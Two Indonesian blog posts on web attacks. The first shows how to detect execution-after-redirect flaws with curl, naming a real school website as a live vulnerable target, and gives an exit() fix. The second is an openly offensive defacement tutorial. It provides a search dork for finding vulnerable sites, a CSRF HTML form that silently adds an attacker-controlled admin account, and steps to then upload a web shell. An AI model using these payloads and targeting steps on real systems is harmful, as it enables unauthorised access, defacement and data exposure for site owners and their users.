Deteksi Celah NoRedirect Menggunakan Curl

Halo selamat malam, pada pertemuan kali ini saya akan memberikan sedikit tutorial bagaimana nemenukan celah NoRedirect pada suatu website / situs. Celah ini memungkinkan ditemukan pada halaman.file yang seharusnya dapat di akses hanya pada user tertentu yang memiliki akses tersebut ( user yang sudah login / masuk ).

Contoh Cara Kerja NoRedirect

Pada suatu situs / website pasti ada yang menggunakan admin/login.php nah hal itu memungkinkan dapat masuk ke halaman dashboard admin yang terdapat di file tersebut yaitu /admin/index.php, akan tetapi kita diharuskan login terlebih dahulu. Maka dari it, biasanya kita akan di redirect/arahkan ke halaman login dahulu, misalkan di file /admin/login.php

sudah paham maskudnya?

jika masih belum paham, mari simak berikut ini.

Saya menemukan suatu sample situs yan memiliki celah ini, coba kalian kunjungi situs berikut

http://hapinternationalschool.org/Admin/ maka kalian akan di arahkan/redirect ke halaman situs tersebut yang beralamat pada http://hapinternationalschool.org/Admin/login.php

dapat disimpulkan, bawa pada folder /admin/ terdapat sebuah file index.php yang mem-validasi bahwa hanya user yang sudah LOGIN saja yang dapat mekakses ini.
simplenya, $_SESSION user sudah ter-set.

Sayangnya, ada cara bagaimana mengakses /admin/ tanpa harus login terlebih dahulu. Sql Bypass admin ? bukan tentunya.


Lah lalu bagaimana kak?

Cukup gunakan perintah CURL pada console/terminal/CMD/Termos, lalu jalankan command berikut:

* curl -v http://hapinternationalschool.org/Admin/

akan muncul sebuah hasil dimana diperlihatkan bahwa kita dapat melihat isi dari halaman dashboard . / index admin tersebut.


 yang saya beri tanda panah adalah kata LOGOUT dan Welcome To INTERNASIONAL SCHOOL ? loh bagaimana bisa padahal kita tidak login sama sekali ke website tersebut, kenapa kita bisa lihat kata LOGOUT.

Yap, ini merupakan sebuah bug. Melalui console seperti memang akan terbatas untuk melakukan hal-hal lainnya, Tapi anda bisa menggunakan sebuah addons pada browser untuk melakukan ini yaitu No-Redirect saya akan kasih link nya Touch Me

 Bagaiman Cara Mencegahnya Kak?

Jika kita pernah melakukan coding atau anda seorang programmer pasti anda pernah melihat codingan seperti ini, kita akan membuat sebuah variable $_SESSION, untuk memastikan apakah user yang mengakses halaman tersebut sudah login atau belum?. Biasanya akan di codin seperti ini


if(!isset($_SESSION[user])) {
// lakukan redirect disini jika user belum login
}

Tapi codingan diatas masih memiliki bug, memang jika kita mengaksesnya melalu browser kita akan di arahkan ke halaman yang akan di set di coding tersebut, namun jika kita melihat melalu cURL tadim halamanya akan bisa kita lihat.

 MEMPERBAIKI BUG

 Baik saya akan memberikan refrensi bagaimana memperbaiki bug ini? dan apakah bug ini fatal?
untuk memperbaiki ini simple saja, tambahkan die() ataupun exit() setelah bagian Lakukan Redirect.


if(!isset($_SESSION[user])) {
// lakukan redirect disini jika user belum login
              exit();
}

codingan diatas akan langsung menutup tadi jika kita mengakses melalu cURL, dan potongan code dashboard damin tadi tidak akan bisa dilihat lagi.

jika terdapar informasi yang sensitif seperti dokument pribadi/dokument user/costumer/client atau hal lainnya yang terdapat pada halaman tersebut, akan sangat mudah sekali didapatkan karenamereka masuk/melihat tanpa harus melalui sebuag authentikasi yang valid. Hal ini juga bisa menjadikanawal terjadinya Exploitasi dengan CSRF ( bagi yang belum tau CSRF silahkan Klik Disini Touch ) dan lainnya.

Baik sekian artikel dari saya, semoga bermanfaat 
 

Deface CSRF - ADD ADMIN

Hasil gambar untuk CSRF
CSRF - ADD ADMIN

baik kali ini saya akan memberikan tutorial deface menggunakan metode CSRF - ADD ADMIN
bagi kalian yang belum tau apa si CSRF Itu Klik aja disini Touch Me

dari judulnya saja kita sudah mengetahui bahwa add admin itu menambahkan admin, loh bagaimana bisa kak kan kita belum masuk ke dashboardnya?

jadi metode ini menjelaskan bahwa kita hanya membutuhkan url dan token dari sebuah website itu dengan script yang saya kasi di bawah.....
langsung saja bagaimana cara melakukannya?....

Pertama

cara pertama kalian hanya perlu mempersiapkan Script + Dork + Shell / JSO

Exploit CSRF : Touch Me

Dork : inurl:/dream/album.php
(kembangin lagi yoo)

Kedua ( Exploitasi / eksekusi ) 

Cara kedua --> setalah kalian dorking dengan dork di atas   
Pilihlah web mana saja yang menurut anda vuln....
Oke disini saya meneukan web yang vuln... loh ko bisa tau kak kalau itu vuln?
karna pas di tambahkan patch admin maka akan langsung menjukan halaman admin login... 
 
bagaimana cara mengeksekusinya...
coba kalian lihat di CSRF pada bagian

<form method="post"  action="https://{target kalian}/{path}/admin/usuario.php?action=incluir">
     <input type="hidden" name="user_login" value="aryakedek">
     <input type="hidden" name="user_password" type="hidden" value="123456" >
     <input type="hidden" name="user_email" value="email@gmail.com">
     <input type="submit" value="Tusbol">

nah di bagian ACTION isi dengan web kalian --> ingat bagian /admin/usuario.php?action=incluir gausah di apa apain yang kalian ganti hanya  https://{target kalian}/{path}
paham??

pada bagian name="user_login" value="ini usernme anda buat nanti login admin" --> sama dengan  name="user_password" type="hidden" value="ini password untuk login nanti"

email juga sama kaya di atas isinya...

oke kalau sudah masukan target ke CSRF -->
 
 disini terlihat 

username : gembel12
password : 123456

dan kita save CSRF nya.. dan buka di browser kalian masing masing

langsung aja klik Tusbol....

dan otomatis akan ke Redirect ke halaman login admin

 






nah disini kita sudah menyimpulkan bahwa username dan password kita sudah di tambah di server dia...
mari kita buka


yap bisa dilihat masuk ke dashboard menggunakan username dan password itu :)

kalian ke album dan JSO + Upload shell deh :)

sekian tutorial dari saya..
semoga bermanfaat assalamualaikum wr wb sampai jumpaa....